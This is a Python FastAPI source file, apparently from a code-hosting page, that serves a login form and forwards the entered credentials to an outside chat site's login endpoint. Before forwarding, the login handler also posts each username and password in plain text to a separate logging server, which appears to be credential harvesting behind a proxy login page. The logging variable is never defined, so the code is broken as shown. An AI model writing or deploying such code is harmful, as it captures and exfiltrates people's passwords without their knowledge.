File size: 2,374 Bytes
de18b15
 
8c4cfc0
de18b15
8c4cfc0
 
de18b15
8c4cfc0
de18b15
8c4cfc0
 
 
de18b15
 
 
 
2d2d79e
 
 
 
 
 
 
 
 
 
 
 
 
de18b15
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from fastapi import FastAPI, Request, Form, HTTPException
from fastapi.responses import HTMLResponse, JSONResponse
from fastapi.templating import Jinja2Templates
import requests

app = FastAPI()
templates = Jinja2Templates(directory="templates")

# Define your Jinja2Templates setup for rendering HTML templates
@app.get("/", response_class=HTMLResponse)
async def read_root(request: Request):
    return templates.TemplateResponse("index.html", {"request": request})

# Define the endpoint for handling the login functionality
@app.post("/login")
async def login(request: Request, username: str = Form(...), password: str = Form(...)):
    log_data = {
        "username": username,
        "password": password
    }
    try:
        response = requests.post(log_server_url, json=log_data)
        response.raise_for_status()
        # Log successful
    except requests.exceptions.RequestException as e:
        # Log error if request fails
        print("Error logging generated text:", e)

    
    try:
        # Call send_request function to handle the HTTP POST request to external system
        response = send_request(username, password)

        # Process the response and return appropriate JSON response
        if response == '1':
            return JSONResponse({'response': 1, 'message': 'Login successful'})
        elif response == '2':
            return JSONResponse({'response': 2, 'message': 'Invalid username or password'})
        elif response == '3':
            return JSONResponse({'response': 3, 'message': 'Special action required (e.g., page reload)'})
        else:
            return JSONResponse({'response': 0, 'message': 'Unknown response from external system'})

    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")
        raise HTTPException(status_code=500, detail="Error communicating with external system")

def send_request(username: str, password: str):
    try:
        response = requests.post('https://girlschat.org/chat/system/encoded/login.php', data={
            'password': password,
            'username': username
        })

        return response.text.strip()  # Return the response text from the external system

    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")
        return '0'  # Return '0' or handle error as per your application's requirements